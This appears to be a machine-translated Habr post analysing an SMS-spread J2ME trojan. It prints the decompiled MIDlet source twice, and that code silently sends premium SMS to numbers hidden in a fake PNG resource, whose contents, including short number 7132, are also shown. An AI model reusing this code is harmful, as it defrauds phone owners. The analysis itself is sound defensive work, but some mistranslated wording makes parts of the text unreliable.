SMSスパムの少しの研究

画像

右側の写真は投稿の内容とはまったく一致せず、SMSスパムのほんの一例です。



だから、物語自体:昨日、次のSMSを受け取りました:



tutu.wml.in/lo.jarへのMMSメッセージ」



明らかに、これは別の離婚であり、リンクを開かずに別のことをしました。



しかし今朝、私はそこに何があり、どのように機能し、何をしたのかと思いました。





このdzharnikをコンピューターからダウンロードして解凍しました。 内部はすべて最小限でした:



-小さな写真

画像



-コンパイルされたJavaクラスmain.class

-ある種の疑わしいpngボックス。画像ビューアでは開かれていません。

-ResourceUTF8クラス。 ここから明らかになります



メインクラスのコンテンツを逆コンパイルすると、次のコードが表示されました。

import java.io.IOException;

import javax.microedition.io.Connector;

import javax.microedition.lcdui.Command;

import javax.microedition.lcdui.CommandListener;

import javax.microedition.lcdui.Display;

import javax.microedition.lcdui.Displayable;

import javax.microedition.lcdui.Form;

import javax.microedition.lcdui.Image;

import javax.microedition.midlet.MIDlet;

import javax.wireless.messaging.MessageConnection;

import javax.wireless.messaging.TextMessage;

import lib.Resources.ResourcesUTF8;



public class main extends MIDlet implements CommandListener {



public static ResourcesUTF8 language;

private boolean isLanguage;

private Form form;

private Image image;

private Display display;

private Command cmd_ok;

private Command cmd_cancel;



public main() {

language = new ResourcesUTF8( "/sample.png" );

this .isLanguage = language.load();

this .cmd_ok = new Command( "\u041e\u043a" , 4, 2);

this .cmd_cancel = new Command( "\u041e\u0442\u043c\u0435\u043d\u0430" , 7, 4);

}



public void startApp() {

this .display = Display.getDisplay( this );



try {

this .image = Image.createImage(language. get ( "picname" ));

} catch (IOException var2) {

System. out .println(var2.getMessage());

}



this .form = new Form(language. get ( "title" ));

this .form.append(language. get ( "textvalue" ));

this .form.addCommand( this .cmd_ok);

this .form.addCommand( this .cmd_cancel);

this .form.setCommandListener( this );

this .display.setCurrent( this .form);

}



public void pauseApp() {

System.gc();

}



public void destroyApp(boolean var1) {

}



public void commandAction(Command var1, Displayable var2) {

if (var1 == this .cmd_ok) {

String var3;

MessageConnection var4;

TextMessage var5;

try {

var3 = "sms://" + language. get ( "numberphone1" );

var4 = (MessageConnection)Connector.open(var3);

var5 = (TextMessage)var4.newMessage( "text" );

var5.setPayloadText(language. get ( "message1" ));

var4.send(var5);

} catch (Exception var8) {

;

}



try {

var3 = "sms://" + language. get ( "numberphone2" );

var4 = (MessageConnection)Connector.open(var3);

var5 = (TextMessage)var4.newMessage( "text" );

var5.setPayloadText(language. get ( "message2" ));

var4.send(var5);

} catch (Exception var7) {

;

}



try {

var3 = "sms://" + language. get ( "numberphone3" );

var4 = (MessageConnection)Connector.open(var3);

var5 = (TextMessage)var4.newMessage( "text" );

var5.setPayloadText(language. get ( "message3" ));

var4.send(var5);

} catch (Exception var6) {

;

}



this .form.delete(0);

this .form.append( this .image);

}



if (var1 == this .cmd_cancel) {

this .notifyDestroyed();

}



}

}




* This source code was highlighted with Source Code Highlighter .








import java.io.IOException;

import javax.microedition.io.Connector;

import javax.microedition.lcdui.Command;

import javax.microedition.lcdui.CommandListener;

import javax.microedition.lcdui.Display;

import javax.microedition.lcdui.Displayable;

import javax.microedition.lcdui.Form;

import javax.microedition.lcdui.Image;

import javax.microedition.midlet.MIDlet;

import javax.wireless.messaging.MessageConnection;

import javax.wireless.messaging.TextMessage;

import lib.Resources.ResourcesUTF8;



public class main extends MIDlet implements CommandListener {



public static ResourcesUTF8 language;

private boolean isLanguage;

private Form form;

private Image image;

private Display display;

private Command cmd_ok;

private Command cmd_cancel;



public main() {

language = new ResourcesUTF8( "/sample.png" );

this .isLanguage = language.load();

this .cmd_ok = new Command( "\u041e\u043a" , 4, 2);

this .cmd_cancel = new Command( "\u041e\u0442\u043c\u0435\u043d\u0430" , 7, 4);

}



public void startApp() {

this .display = Display.getDisplay( this );



try {

this .image = Image.createImage(language. get ( "picname" ));

} catch (IOException var2) {

System. out .println(var2.getMessage());

}



this .form = new Form(language. get ( "title" ));

this .form.append(language. get ( "textvalue" ));

this .form.addCommand( this .cmd_ok);

this .form.addCommand( this .cmd_cancel);

this .form.setCommandListener( this );

this .display.setCurrent( this .form);

}



public void pauseApp() {

System.gc();

}



public void destroyApp(boolean var1) {

}



public void commandAction(Command var1, Displayable var2) {

if (var1 == this .cmd_ok) {

String var3;

MessageConnection var4;

TextMessage var5;

try {

var3 = "sms://" + language. get ( "numberphone1" );

var4 = (MessageConnection)Connector.open(var3);

var5 = (TextMessage)var4.newMessage( "text" );

var5.setPayloadText(language. get ( "message1" ));

var4.send(var5);

} catch (Exception var8) {

;

}



try {

var3 = "sms://" + language. get ( "numberphone2" );

var4 = (MessageConnection)Connector.open(var3);

var5 = (TextMessage)var4.newMessage( "text" );

var5.setPayloadText(language. get ( "message2" ));

var4.send(var5);

} catch (Exception var7) {

;

}



try {

var3 = "sms://" + language. get ( "numberphone3" );

var4 = (MessageConnection)Connector.open(var3);

var5 = (TextMessage)var4.newMessage( "text" );

var5.setPayloadText(language. get ( "message3" ));

var4.send(var5);

} catch (Exception var6) {

;

}



this .form.delete(0);

this .form.append( this .image);

}



if (var1 == this .cmd_cancel) {

this .notifyDestroyed();

}



}

}




* This source code was highlighted with Source Code Highlighter .










誰かがオンラインの逆コンパイラFernflowerを逆コンパイルすることに興味があるなら。



コードが何をするのかを理解するには、プログラマである必要さえありません。 彼はその奇妙なpng-shkiからいくつかの情報を取得し、電話からSMSを送信します。



メモ帳で開いた場合のpngの内容は次のとおりです。

title=OTKPblTKA

textvalue= ?

picname=/love.JPG

numberphone1= 7132

message1= 199414999922







そして、SMSが送信される番号とメッセージテキストを次に示します。 はい、拒否は非常に簡単です。 そして、これは予想されることでした。 とにかく、時間を無駄にしたと思います。 そして多分habrコミュニティの誰かにとって、この情報は興味深いように思えます。



UPD: この手順を使用して、短い番号の所有者のサポートサービスに苦情書きました。



All Articles